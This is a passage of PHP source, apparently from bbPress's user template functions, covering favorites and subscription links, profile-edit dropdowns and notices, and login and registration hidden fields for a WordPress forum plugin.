 * Convenience function to ensure proper template functions are called
 * and correct filters are executed. Used primarily to display topic
 * and reply author information in the anonymous user form template-part.
 *
 * @since 2.5.0 bbPress (r5119)
 *
 * @param int $post_id
 */
function bbp_author_email( $post_id = 0 ) {
	echo esc_attr( bbp_get_author_email( $post_id ) );
}

	/**
	 * Return the author email of a topic or reply.
	 *
	 * Convenience function to ensure proper template functions are called
	 * and correct filters are executed. Used primarily to display topic
	 * and reply author information in the anonymous user form template-part.
	 *
	 * @since 2.5.0 bbPress (r5119)
	 *
	 * @param int $post_id
	 *
	 * @return string The email of the author
	 */
	function bbp_get_author_email( $post_id = 0 ) {

		// Define local variable(s)
		$retval = '';

		// Topic edit
		if ( bbp_is_topic_edit() ) {
			$retval = bbp_get_topic_author_email( $post_id );

		// Reply edit
		} elseif ( bbp_is_reply_edit() ) {
			$retval = bbp_get_reply_author_email( $post_id );

		// Not an edit, so rely on current user cookie data
		} else {
			$retval = bbp_get_current_anonymous_user_data( 'email' );
		}

		// Filter & return
		return apply_filters( 'bbp_get_author_email', $retval, $post_id );
	}

/**
 * Output the author url of a topic or reply.
 *
 * Convenience function to ensure proper template functions are called
 * and correct filters are executed. Used primarily to display topic
 * and reply author information in the anonymous user form template-part.
 *
 * @since 2.5.0 bbPress (r5119)
 *
 * @param int $post_id
 */
function bbp_author_url( $post_id = 0 ) {
	echo esc_attr( bbp_get_author_url( $post_id ) );
}

	/**
	 * Return the author url of a topic or reply.
	 *
	 * Convenience function to ensure proper template functions are called
	 * and correct filters are executed. Used primarily to display topic
	 * and reply author information in the anonymous user form template-part.
	 *
	 * @since 2.5.0 bbPress (r5119)
	 *
	 * @param int $post_id
	 *
	 * @return string The url of the author
	 */
	function bbp_get_author_url( $post_id = 0 ) {

		// Define local variable(s)
		$retval = '';

		// Topic edit
		if ( bbp_is_topic_edit() ) {
			$retval = bbp_get_topic_author_url( $post_id );

		// Reply edit
		} elseif ( bbp_is_reply_edit() ) {
			$retval = bbp_get_reply_author_url( $post_id );

		// Not an edit, so rely on current user cookie data
		} else {
			$retval = bbp_get_current_anonymous_user_data( 'url' );
		}

		// Filter & return
		return apply_filters( 'bbp_get_author_url', $retval, $post_id );
	}

/** Favorites *****************************************************************/

/**
 * Output the link to the user's favorites page (profile page)
 *
 * @since 2.0.0 bbPress (r2652)
 * @since 2.6.0 bbPress (r6308) Add pagination if in the loop
 *
 * @param int $user_id Optional. User id
 */
function bbp_favorites_permalink( $user_id = 0 ) {
	echo esc_url( bbp_get_favorites_permalink( $user_id ) );
}
	/**
	 * Return the link to the user's favorites page (profile page)
	 *
	 * @since 2.0.0 bbPress (r2652)
	 * @since 2.6.0 bbPress (r6308) Add pagination if in the loop
	 *
	 * @param int $user_id Optional. User id
	 * @return string Permanent link to user profile page
	 */
	function bbp_get_favorites_permalink( $user_id = 0 ) {

		// Use displayed user ID if there is one, and one isn't requested
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Bail if intercepted
		$intercept = bbp_maybe_intercept( 'bbp_pre_get_favorites_permalink', func_get_args() );
		if ( bbp_is_intercepted( $intercept ) ) {
			return $intercept;
		}

		// Get user profile URL & page
		$profile_url = bbp_get_user_profile_url( $user_id );
		$page        = (int)  bbpress()->topic_query->paged;
		$paged       = (bool) bbpress()->topic_query->in_the_loop;

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {

			// Base URL
			$url = trailingslashit( $profile_url ) . bbp_get_user_favorites_slug();

			// Add page
			if ( ( true === $paged ) && ( $page > 1 ) ) {
				$url = trailingslashit( $url ) . bbp_get_paged_slug() . '/' . $page;
			}

			// Ensure correct trailing slash
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {

			// Base arguments
			$args = array(
				bbp_get_user_favorites_rewrite_id() => bbp_get_user_favorites_slug(),
			);

			// Add page
			if ( ( true === $paged ) && ( $page > 1 ) ) {
				$args['page'] = $page;
			}

			// Add arguments
			$url = add_query_arg( $args, $profile_url );
		}

		// Filter & return
		return apply_filters( 'bbp_get_favorites_permalink', $url, $user_id );
	}

/**
 * Output the link to make a topic favorite/remove a topic from favorites
 *
 * @since 2.0.0 bbPress (r2652)
 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
 *
 * @param array $args See {@link bbp_get_user_favorites_link()}
 * @param int $user_id Optional. User id
 * @param bool $wrap Optional. If you want to wrap the link in <span id="favorite-toggle">.
 */
function bbp_user_favorites_link( $args = array(), $user_id = 0, $wrap = true ) {
	echo bbp_get_user_favorites_link( $args, $user_id, $wrap );
}
	/**
	 * User favorites link
	 *
	 * Return the link to make a topic favorite/remove a topic from
	 * favorites
	 *
	 * @since 2.0.0 bbPress (r2652)
	 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
	 *
	 * @param array $args This function supports these arguments:
	 *  - subscribe: Favorite text
	 *  - unsubscribe: Unfavorite text
	 *  - user_id: User id
	 *  - topic_id: Topic id
	 *  - before: Before the link
	 *  - after: After the link
	 * @param int $user_id Optional. User id
	 * @param int $topic_id Optional. Topic id
	 * @param bool $wrap Optional. If you want to wrap the link in <span id="favorite-toggle">. See ajax_favorite()
	 * @return string User favorites link
	 */
	function bbp_get_user_favorites_link( $args = array(), $user_id = 0, $wrap = true ) {

		// Bail if favorites are inactive
		if ( ! bbp_is_favorites_active() ) {
			return false;
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'favorite'    => esc_html__( 'Favorite',   'bbpress' ),
			'favorited'   => esc_html__( 'Unfavorite', 'bbpress' ),
			'user_id'     => 0,
			'object_id'   => 0,
			'object_type' => 'post',
			'before'      => '',
			'after'       => '',
			'redirect_to' => '',

			// Deprecated. Use object_id.
			'forum_id'    => 0,
			'topic_id'    => 0
		), 'get_user_favorites_link' );

		// Validate user and object ID's
		$user_id     = bbp_get_user_id( $r['user_id'], true, true );
		$object_type = sanitize_key( $r['object_type'] );

		// Back-compat for deprecated arguments
		if ( ! empty( $r['topic_id'] ) ) {
			$object_id = absint( $r['topic_id'] );
		} elseif ( ! empty( $r['forum_id'] ) ) {
			$object_id = absint( $r['forum_id'] );
		} else {
			$object_id = absint( $r['object_id'] );
		}

		// Bail if empty
		if ( empty( $user_id ) || empty( $object_id ) || empty( $object_type ) ) {
			return false;
		}

		// No link if you can't edit yourself
		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			return false;
		}

		// Decide which link to show
		$is_fav = bbp_is_user_favorite( $user_id, $object_id );
		if ( ! empty( $is_fav ) ) {
			$text   = $r['favorited'];
			$q_args = array(
				'action'    => 'bbp_favorite_remove',
				'object_id' => $object_id
			);
		} else {
			$text   = $r['favorite'];
			$q_args = array(
				'action'    => 'bbp_favorite_add',
				'object_id' => $object_id
			);
		}

		// Custom redirect
		if ( ! empty( $r['redirect_to'] ) ) {
			$q_args['redirect_to'] = urlencode( $r['redirect_to'] );
		}

		// URL
		$url  = esc_url( wp_nonce_url( add_query_arg( $q_args ), 'toggle-favorite_' . $object_id ) );
		$sub  = $is_fav ? ' class="is-favorite"' : '';
		$html = sprintf( '%s<span id="favorite-%d"  %s><a href="%s" class="favorite-toggle" data-bbp-object-id="%d" data-bbp-object-type="%s" data-bbp-nonce="%s">%s</a></span>%s', $r['before'], $object_id, $sub, $url, $object_id, $object_type, wp_create_nonce( 'toggle-favorite_' . $object_id ), $text, $r['after'] );

		// Initial output is wrapped in a span, ajax output is hooked to this
		if ( ! empty( $wrap ) ) {
			$html = '<span id="favorite-toggle">' . $html . '</span>';
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_favorites_link', $html, $r, $user_id, $object_id );
	}

/** Subscriptions *************************************************************/

/**
 * Output the link to the user's subscriptions page (profile page)
 *
 * @since 2.0.0 bbPress (r2688)
 * @since 2.6.0 bbPress (r6308) Add pagination if in the loop
 *
 * @param int $user_id Optional. User id
 */
function bbp_subscriptions_permalink( $user_id = 0 ) {
	echo esc_url( bbp_get_subscriptions_permalink( $user_id ) );
}
	/**
	 * Return the link to the user's subscriptions page (profile page)
	 *
	 * @since 2.0.0 bbPress (r2688)
	 * @since 2.6.0 bbPress (r6308) Add pagination if in the loop
	 *
	 * @param int $user_id Optional. User id
	 * @return string Permanent link to user subscriptions page
	 */
	function bbp_get_subscriptions_permalink( $user_id = 0 ) {

		// Use displayed user ID if there is one, and one isn't requested
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Bail if intercepted
		$intercept = bbp_maybe_intercept( 'bbp_pre_get_subscriptions_permalink', func_get_args() );
		if ( bbp_is_intercepted( $intercept ) ) {
			return $intercept;
		}

		// Get user profile URL
		$profile_url = bbp_get_user_profile_url( $user_id );
		$page        = 0;
		$paged       = false;

		// Get pagination data
		if ( bbpress()->topic_query->in_the_loop ) {
			$page  = (int)  bbpress()->topic_query->paged;
			$paged = (bool) bbpress()->topic_query->in_the_loop;

		} elseif ( bbpress()->forum_query->in_the_loop ) {
			$page  = (int)  bbpress()->forum_query->paged;
			$paged = (bool) bbpress()->forum_query->in_the_loop;
		}

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {

			// Base URL
			$url = trailingslashit( $profile_url ) . bbp_get_user_subscriptions_slug();

			// Add page
			if ( ( true === $paged ) && ( $page > 1 ) ) {
				$url = trailingslashit( $url ) . bbp_get_paged_slug() . '/' . $page;
			}

			// Ensure correct trailing slash
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {

			// Base arguments
			$args = array(
				bbp_get_user_subscriptions_rewrite_id() => bbp_get_user_subscriptions_slug(),
			);

			// Add page
			if ( ( true === $paged ) && ( $page > 1 ) ) {
				$args['page'] = $page;
			}

			// Add arguments
			$url = add_query_arg( $args, $profile_url );
		}

		// Filter & return
		return apply_filters( 'bbp_get_subscriptions_permalink', $url, $user_id );
	}

/**
 * Output the link to subscribe/unsubscribe from a topic
 *
 * @since 2.0.0 bbPress (r2668)
 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
 *
 * @param array $args See {@link bbp_get_user_subscribe_link()}
 * @param int $user_id Optional. User id
 * @param bool $wrap Optional. If you want to wrap the link in <span id="subscription-toggle">.
 */
function bbp_user_subscribe_link( $args = array(), $user_id = 0, $wrap = true ) {
	echo bbp_get_user_subscribe_link( $args, $user_id, $wrap );
}
	/**
	 * Return the link to subscribe/unsubscribe from a forum or topic
	 *
	 * @since 2.0.0 bbPress (r2668)
	 * @since 2.6.0 bbPress (r6308) Add 'redirect_to' support
	 *
	 * @param array $args This function supports these arguments:
	 *  - subscribe: Subscribe text
	 *  - unsubscribe: Unsubscribe text
	 *  - user_id: User id
	 *  - topic_id: Topic id
	 *  - forum_id: Forum id
	 *  - before: Before the link
	 *  - after: After the link
	 * @param int $user_id Optional. User id
	 * @param bool $wrap Optional. If you want to wrap the link in <span id="subscription-toggle">.
	 * @return string Permanent link to topic
	 */
	function bbp_get_user_subscribe_link( $args = array(), $user_id = 0, $wrap = true ) {

		// Bail if subscriptions are inactive
		if ( ! bbp_is_subscriptions_active() ) {
			return;
		}

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'subscribe'   => esc_html__( 'Subscribe',   'bbpress' ),
			'unsubscribe' => esc_html__( 'Unsubscribe', 'bbpress' ),
			'user_id'     => 0,
			'object_id'   => 0,
			'object_type' => 'post',
			'before'      => '',
			'after'       => '',
			'redirect_to' => '',

			// Deprecated. Use object_id.
			'forum_id'    => 0,
			'topic_id'    => 0
		), 'get_user_subscribe_link' );

		// Validate user
		$user_id     = bbp_get_user_id( $r['user_id'], true, true );
		$object_type = sanitize_key( $r['object_type'] );

		// Back-compat for deprecated arguments
		if ( ! empty( $r['topic_id'] ) ) {
			$object_id = absint( $r['topic_id'] );
		} elseif ( ! empty( $r['forum_id'] ) ) {
			$object_id = absint( $r['forum_id'] );
		} else {
			$object_id = absint( $r['object_id'] );
		}

		// Bail if anything is missing
		if ( empty( $user_id ) || empty( $object_id ) || empty( $object_type ) ) {
			return false;
		}

		// No link if you can't edit yourself
		if ( ! current_user_can( 'edit_user', $user_id ) ) {
			return false;
		}

		// Decide which link to show
		$is_subscribed = bbp_is_user_subscribed( $user_id, $object_id );
		if ( ! empty( $is_subscribed ) ) {
			$text   = $r['unsubscribe'];
			$q_args = array(
				'action'      => 'bbp_unsubscribe',
				'object_id'   => $object_id,
				'object_type' => $object_type
			);
		} else {
			$text   = $r['subscribe'];
			$q_args = array(
				'action'      => 'bbp_subscribe',
				'object_id'   => $object_id,
				'object_type' => $object_type
			);
		}

		// Custom redirect
		if ( ! empty( $r['redirect_to'] ) ) {
			$q_args['redirect_to'] = urlencode( $r['redirect_to'] );
		}

		// URL
		$url  = esc_url( wp_nonce_url( add_query_arg( $q_args ), 'toggle-subscription_' . $object_id ) );
		$sub  = $is_subscribed ? ' class="is-subscribed"' : '';
		$html = sprintf( '%s<span id="subscribe-%d"  %s><a href="%s" class="subscription-toggle" data-bbp-object-id="%d" data-bbp-object-type="%d" data-bbp-nonce="%s">%s</a></span>%s', $r['before'], $object_id, $sub, $url, $object_id, $object_type, wp_create_nonce( 'toggle-subscription_' . $object_id ), $text, $r['after'] );

		// Initial output is wrapped in a span, ajax output is hooked to this
		if ( ! empty( $wrap ) ) {
			$html = '<span id="subscription-toggle">' . $html . '</span>';
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_subscribe_link', $html, $r, $user_id, $object_id );
	}


/** Edit User *****************************************************************/

/**
 * Display profile edit success notice on user edit page
 *
 * @since 2.0.0 bbPress (r2688)
 */
function bbp_notice_edit_user_success() {

	// Bail if no updated argument
	if ( empty( $_GET['updated'] ) ) {
		return;
	}

	// Bail if not on users own profile
	if ( ! bbp_is_single_user_edit() ) {
		return;
	} ?>

	<div class="bbp-template-notice">
		<ul>
			<li><?php esc_html_e( 'User updated.', 'bbpress' ); ?></li>
		</ul>
	</div>

	<?php
}

/**
 * Display pending email change notice on user edit page
 *
 * @since 2.6.0 bbPress (r5660)
 */
function bbp_notice_edit_user_pending_email() {

	// Bail if not on users own profile
	if ( ! bbp_is_user_home_edit() ) {
		return;
	}

	// Check for pending email address change
	$user_id   = bbp_get_displayed_user_id();
	$key       = '_new_email';
	$new_email = get_user_meta( $user_id, $key, true );

	// Bail if no pending email address change
	if ( empty( $new_email['newemail'] ) ) {
		return;
	}

	// Build the nonced URL to dismiss the pending change
	$user_url = bbp_get_user_profile_edit_url( $user_id );
	$nonce    = "dismiss-{$user_id}{$key}";
	$args     = array(
		'action'  => 'bbp-update-user-email',
		'dismiss' => "{$user_id}{$key}"
	);

	// Build the variables to pass into printf()
	$dismiss_url  = wp_nonce_url( add_query_arg( $args, $user_url ), $nonce );
	$dismiss_link = '<a href="' . esc_url( $dismiss_url ) . '">' . esc_html_x( 'Cancel', 'Dismiss pending user email address change', 'bbpress' ) . '</a>';
	$coded_email  = '<code>' . esc_html( $new_email['newemail'] ) . '</code>'; ?>

	<div class="bbp-template-notice info">
		<ul>
			<li><?php printf( esc_html__( 'There is a pending email address change to %1$s. %2$s', 'bbpress' ), $coded_email, $dismiss_link ); ?></li>
		</ul>
	</div>

	<?php
}

/**
 * Super admin privileges notice
 *
 * @since 2.0.0 bbPress (r2688)
 */
function bbp_notice_edit_user_is_super_admin() {
	if ( is_multisite() && ( bbp_is_single_user() || bbp_is_single_user_edit() ) && current_user_can( 'manage_network_options' ) && is_super_admin( bbp_get_displayed_user_id() ) ) : ?>

	<div class="bbp-template-notice important">
		<ul>
			<li><?php bbp_is_user_home() || bbp_is_user_home_edit() ? esc_html_e( 'You have super admin privileges.', 'bbpress' ) : esc_html_e( 'This user has super admin privileges.', 'bbpress' ); ?></li>
		</ul>
	</div>

<?php endif;
}

/**
 * Drop down for selecting the user's display name
 *
 * @since 2.0.0 bbPress (r2688)
 */
function bbp_edit_user_display_name() {
	$bbp            = bbpress();
	$public_display = array();
	$public_display['display_username'] = $bbp->displayed_user->user_login;

	if ( ! empty( $bbp->displayed_user->nickname ) ) {
		$public_display['display_nickname']  = $bbp->displayed_user->nickname;
	}

	if ( ! empty( $bbp->displayed_user->first_name ) ) {
		$public_display['display_firstname'] = $bbp->displayed_user->first_name;
	}

	if ( ! empty( $bbp->displayed_user->last_name ) ) {
		$public_display['display_lastname']  = $bbp->displayed_user->last_name;
	}

	if ( ! empty( $bbp->displayed_user->first_name ) && ! empty( $bbp->displayed_user->last_name ) ) {
		$public_display['display_firstlast'] = $bbp->displayed_user->first_name . ' ' . $bbp->displayed_user->last_name;
		$public_display['display_lastfirst'] = $bbp->displayed_user->last_name  . ' ' . $bbp->displayed_user->first_name;
	}

	// Only add this if it isn't duplicated elsewhere
	if ( ! in_array( $bbp->displayed_user->display_name, $public_display, true ) ) {
		$public_display = array( 'display_displayname' => $bbp->displayed_user->display_name ) + $public_display;
	}

	$public_display = array_map( 'trim', $public_display );
	$public_display = array_unique( $public_display ); ?>

	<select name="display_name" id="display_name">

	<?php foreach ( $public_display as $id => $item ) : ?>

		<option id="<?php echo $id; ?>" value="<?php echo esc_attr( $item ); ?>"<?php selected( $bbp->displayed_user->display_name, $item ); ?>><?php echo $item; ?></option>

	<?php endforeach; ?>

	</select>

<?php
}

/**
 * Output blog role selector (for user edit)
 *
 * @since 2.0.0 bbPress (r2688)
 */
function bbp_edit_user_blog_role() {

	// Bail if no user is being edited
	if ( ! bbp_is_single_user_edit() ) {
		return;
	}

	// Get users current blog role
	$user_role  = bbp_get_user_blog_role( bbp_get_displayed_user_id() );

	// Get the blog roles
	$blog_roles = bbp_get_blog_roles(); ?>

	<select name="role" id="role">
		<option value=""><?php esc_html_e( '&mdash; No role for this site &mdash;', 'bbpress' ); ?></option>

		<?php foreach ( $blog_roles as $role => $details ) : ?>

			<option <?php selected( $user_role, $role ); ?> value="<?php echo esc_attr( $role ); ?>"><?php echo bbp_translate_user_role( $details['name'] ); ?></option>

		<?php endforeach; ?>

	</select>

	<?php
}

/**
 * Output forum role selector (for user edit)
 *
 * @since 2.2.0 bbPress (r4284)
 */
function bbp_edit_user_forums_role() {

	// Bail if no user is being edited
	if ( ! bbp_is_single_user_edit() ) {
		return;
	}

	// Get the user's current forum role
	$user_role     = bbp_get_user_role( bbp_get_displayed_user_id() );

	// Get the folum roles
	$dynamic_roles = bbp_get_dynamic_roles();

	// Only keymasters can set other keymasters
	if ( ! bbp_is_user_keymaster() ) {
		unset( $dynamic_roles[ bbp_get_keymaster_role() ] );
	} ?>

	<select name="bbp-forums-role" id="bbp-forums-role">
		<option value=""><?php esc_html_e( '&mdash; No role for these forums &mdash;', 'bbpress' ); ?></option>

		<?php foreach ( $dynamic_roles as $role => $details ) : ?>

			<option <?php selected( $user_role, $role ); ?> value="<?php echo esc_attr( $role ); ?>"><?php echo bbp_translate_user_role( $details['name'] ); ?></option>

		<?php endforeach; ?>

	</select>

	<?php
}

/**
 * Return user contact methods select box
 *
 * @since 2.0.0 bbPress (r2688)
 * @return string User contact methods
 */
function bbp_edit_user_contact_methods() {

	// Get the core WordPress contact methods
	$contact_methods = wp_get_user_contact_methods( bbpress()->displayed_user );

	// Filter & return
	return (array) apply_filters( 'bbp_edit_user_contact_methods', $contact_methods );
}

/**
 * Output the language chooser (for user edit)
 *
 * @since 2.6.0 bbPress (r6488)
 *
 * @param array $args See wp_dropdown_languages()
 * @return string
 */
function bbp_edit_user_language( $args = array() ) {

	// Bail if no user is being edited
	if ( ! bbp_is_single_user_edit() ) {
		return;
	}

	// Output the dropdown
	bbp_user_languages_dropdown( $args );
}

/** Topics Created ************************************************************/

/**
 * Output the link to the user's topics
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @param int $user_id Optional. User id
 */
function bbp_user_topics_created_url( $user_id = 0 ) {
	echo esc_url( bbp_get_user_topics_created_url( $user_id ) );
}
	/**
	 * Return the link to the user's topics
	 *
	 * @since 2.2.0 bbPress (r4225)
	 *
	 * @param int $user_id Optional. User id
	 * @return string Permanent link to user profile page
	 */
	function bbp_get_user_topics_created_url( $user_id = 0 ) {

		// Use displayed user ID if there is one, and one isn't requested
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Bail if intercepted
		$intercept = bbp_maybe_intercept( 'bbp_pre_get_user_topics_created_url', func_get_args() );
		if ( bbp_is_intercepted( $intercept ) ) {
			return $intercept;
		}

		// Get user profile URL
		$profile_url = bbp_get_user_profile_url( $user_id );

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {
			$url = trailingslashit( $profile_url ) . bbp_get_topic_archive_slug();
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_user_topics_rewrite_id() => '1',
			), $profile_url );
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_topics_created_url', $url, $user_id );
	}

/** Replies Created ************************************************************/

/**
 * Output the link to the user's replies
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @param int $user_id Optional. User id
 */
function bbp_user_replies_created_url( $user_id = 0 ) {
	echo esc_url( bbp_get_user_replies_created_url( $user_id ) );
}
	/**
	 * Return the link to the user's replies
	 *
	 * @since 2.2.0 bbPress (r4225)
	 *
	 * @param int $user_id Optional. User id
	 * @return string Permanent link to user profile page
	 */
	function bbp_get_user_replies_created_url( $user_id = 0 ) {

		// Use displayed user ID if there is one, and one isn't requested
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Bail if intercepted
		$intercept = bbp_maybe_intercept( 'bbp_pre_get_user_replies_created_url', func_get_args() );
		if ( bbp_is_intercepted( $intercept ) ) {
			return $intercept;
		}

		// Get user profile URL
		$profile_url = bbp_get_user_profile_url( $user_id );

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {
			$url = trailingslashit( $profile_url ) . bbp_get_reply_archive_slug();
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_user_replies_rewrite_id() => '1',
			), $profile_url );
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_replies_created_url', $url, $user_id );
	}

/** Engagements ***************************************************************/

/**
 * Output the link to the user's engagements
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param int $user_id Optional. User id
 */
function bbp_user_engagements_url( $user_id = 0 ) {
	echo esc_url( bbp_get_user_engagements_url( $user_id ) );
}
	/**
	 * Return the link to the user's engagements
	 *
	 * @since 2.6.0 bbPress (r6320)
	 *
	 * @param int $user_id Optional. User id
	 * @return string Permanent link to user profile page
	 */
	function bbp_get_user_engagements_url( $user_id = 0 ) {

		// Use displayed user ID if there is one, and one isn't requested
		$user_id = bbp_get_user_id( $user_id );
		if ( empty( $user_id ) ) {
			return false;
		}

		// Bail if intercepted
		$intercept = bbp_maybe_intercept( 'bbp_pre_get_user_engagements_url', func_get_args() );
		if ( bbp_is_intercepted( $intercept ) ) {
			return $intercept;
		}

		// Get user profile URL
		$profile_url = bbp_get_user_profile_url( $user_id );

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {
			$url = trailingslashit( $profile_url ) . bbp_get_user_engagements_slug();
			$url = user_trailingslashit( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_user_engagements_rewrite_id() => '1',
			), $profile_url );
		}

		// Filter & return
		return apply_filters( 'bbp_get_user_engagements_url', $url, $user_id );
	}

/** Language ******************************************************************/

/**
 * Output the select element used to save a user's language
 *
 * @since 2.6.0 bbPress (r6488)
 *
 * @param array $args See wp_dropdown_languages()
 */
function bbp_user_languages_dropdown( $args = array() ) {
	echo bbp_get_user_languages_dropdown( $args );
}

	/**
	 * Return the select element used to save a user's language.
	 *
	 * @since 2.6.0 bbPress (r6488)
	 *
	 * @param array $args See wp_dropdown_languages()
	 * @return string
	 */
	function bbp_get_user_languages_dropdown( $args = array() ) {

		// Get user language
		$user_id = ! empty( $args['user_id'] )
			? bbp_get_user_id( $args['user_id'], false, false )
			: bbp_get_displayed_user_id();

		// Get user locale
		$user_locale = ! empty( $user_id )
			? get_userdata( $user_id )->locale
			: 'site-default';

		// Get all languages
		$languages = get_available_languages();

		// No locale for English
		if ( 'en_US' === $user_locale ) {
			$user_locale = '';

		// Fallback to site-default if there is a mismatch
		} elseif ( '' === $user_locale || ! in_array( $user_locale, $languages, true ) ) {
			$user_locale = 'site-default';
		}

		// Don't pass user ID in
		unset( $args['user_id'] );

		// Parse arguments
		$r = bbp_parse_args( $args, array(
			'name'                        => 'locale',
			'id'                          => 'locale',
			'selected'                    => $user_locale,
			'languages'                   => $languages,
			'echo'                        => false,
			'show_available_translations' => false,
			'show_option_site_default'    => true
		), 'user_languages_dropdown' );

		// Get the markup for the languages drop-down
		$retval = wp_dropdown_languages( $r );

		// Filter & return
		return apply_filters( 'bbp_get_user_languages_dropdown', $retval, $r, $args );
	}

/** Login *********************************************************************/

/**
 * Handle the login and registration template notices
 *
 * @since 2.0.0 bbPress (r2970)
 */
function bbp_login_notices() {

	// loggedout was passed
	if ( ! empty( $_GET['loggedout'] ) && ( true === $_GET['loggedout'] ) ) {
		bbp_add_error( 'loggedout', esc_html__( 'You are now logged out.', 'bbpress' ), 'message' );

	// registration is disabled
	} elseif ( ! empty( $_GET['registration'] ) && ( 'disabled' === $_GET['registration'] ) ) {
		bbp_add_error( 'registerdisabled', esc_html__( 'New user registration is currently not allowed.', 'bbpress' ) );

	// Prompt user to check their email
	} elseif ( ! empty( $_GET['checkemail'] ) && in_array( $_GET['checkemail'], array( 'confirm', 'newpass', 'registered' ), true ) ) {

		switch ( $_GET['checkemail'] ) {

			// Email needs confirmation
			case 'confirm' :
				bbp_add_error( 'confirm',    esc_html__( 'Check your e-mail for the confirmation link.',     'bbpress' ), 'message' );
				break;

			// User requested a new password
			case 'newpass' :
				bbp_add_error( 'newpass',    esc_html__( 'Check your e-mail for your new password.',         'bbpress' ), 'message' );
				break;

			// User is newly registered
			case 'registered' :
				bbp_add_error( 'registered', esc_html__( 'Registration complete. Please check your e-mail.', 'bbpress' ), 'message' );
				break;
		}
	}
}

/**
 * Redirect a user back to their profile if they are already logged in.
 *
 * This should be used before {@link get_header()} is called in template files
 * where the user should never have access to the contents of that file.
 *
 * @since 2.0.0 bbPress (r2815)
 *
 * @param string $url The URL to redirect to
 */
function bbp_logged_in_redirect( $url = '' ) {

	// Bail if user is not logged in
	if ( ! is_user_logged_in() ) {
		return;
	}

	// Setup the profile page to redirect to
	$redirect_to = ! empty( $url ) ? $url : bbp_get_user_profile_url( bbp_get_current_user_id() );

	// Do a safe redirect
	bbp_redirect( $redirect_to );
}

/**
 * Output the required hidden fields when logging in
 *
 * @since 2.0.0 bbPress (r2815)
 */
function bbp_user_login_fields() {
?>

	<input type="hidden" name="user-cookie" value="1" />

	<?php

	// Allow custom login redirection
	$redirect_to = apply_filters( 'bbp_user_login_redirect_to', '' );
	bbp_redirect_to_field( $redirect_to );

	// Prevent intention hi-jacking of log-in form
	wp_nonce_field( 'bbp-user-login' );
}

/** Register ******************************************************************/

/**
 * Output the required hidden fields when registering
 *
 * @since 2.0.0 bbPress (r2815)
 */
function bbp_user_register_fields() {
?>

	<input type="hidden" name="action"      value="register" />
	<input type="hidden" name="user-cookie" value="1" />

	<?php

	// Allow custom registration redirection
	$redirect_to = apply_filters( 'bbp_user_register_redirect_to', '' );
	bbp_redirect_to_field( add_query_arg( array( 'checkemail' => 'registered' ), $redirect_to ) );

	// Prevent intention hi-jacking of sign-up form
	wp_nonce_field( 'bbp-user-register' );
}

/** Lost Password *************************************************************/

/**
 * Output the required hidden fields when user lost password
 *
 * @since 2.0.0 bbPress (r2815)
 */
function bbp_user_lost_pass_fields() {
?>

	<input type="hidden" name="user-cookie" value="1" />

	<?php

	// Allow custom lost pass redirection
	$redirect_to = apply_filters( 'bbp_user_lost_pass_redirect_to', get_permalink() );
	bbp_redirect_to_field( add_query_arg( array( 'checkemail' => 'confirm' ), $redirect_to ) );

	// Prevent intention hi-jacking of lost pass form
	wp_nonce_field( 'bbp-user-lost-pass' );
}

/** Author Avatar *************************************************************/

/**
 * Output the author link of a post
 *
 * @since 2.0.0 bbPress (r2875)
 *
 * @param array $args Optional. If it is an integer, it is used as post id.
 */
function bbp_author_link( $args = array() ) {
	echo bbp_get_author_link( $args );
}
	/**
	 * Return the author link of the post
	 *
	 * @since 2.0.0 bbPress (r2875)
	 *
	 * @param array $args Optional. If an integer, it is used as reply id.
	 * @return string Author link of reply
	 */
	function bbp_get_author_link( $args = array() ) {

		$post_id = is_numeric( $args ) ? (int) $args : 0;

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'post_id'    => $post_id,
			'link_title' => '',
			'type'       => 'both',
			'size'       => 80,
			'sep'        => ''
		), 'get_author_link' );

		// Confirmed topic
		if ( bbp_is_topic( $r['post_id'] ) ) {
			return bbp_get_topic_author_link( $r );

		// Confirmed reply
		} elseif ( bbp_is_reply( $r['post_id'] ) ) {
			return bbp_get_reply_author_link( $r );
		}

		// Default return value
		$author_link = '';

		// Neither a reply nor a topic, so could be a revision
		if ( ! empty( $r['post_id'] ) ) {

			// Get some useful reply information
			$user_id    = get_post_field( 'post_author', $r['post_id'] );
			$author_url = bbp_get_user_profile_url( $user_id );
			$anonymous  = bbp_is_reply_anonymous( $r['post_id'] );

			// Generate title with the display name of the author
			if ( empty( $r['link_title'] ) ) {
				$author = get_the_author_meta( 'display_name', $user_id );
				$title  = empty( $anonymous )
					? esc_attr__( "View %s's profile",  'bbpress' )
					: esc_attr__( "Visit %s's website", 'bbpress' );

				$r['link_title'] = sprintf( $title, $author );
			}

			// Setup title and author_links array
			$author_links = array();
			$link_title   = ! empty( $r['link_title'] )
				? ' title="' . esc_attr( $r['link_title'] ) . '"'
				: '';
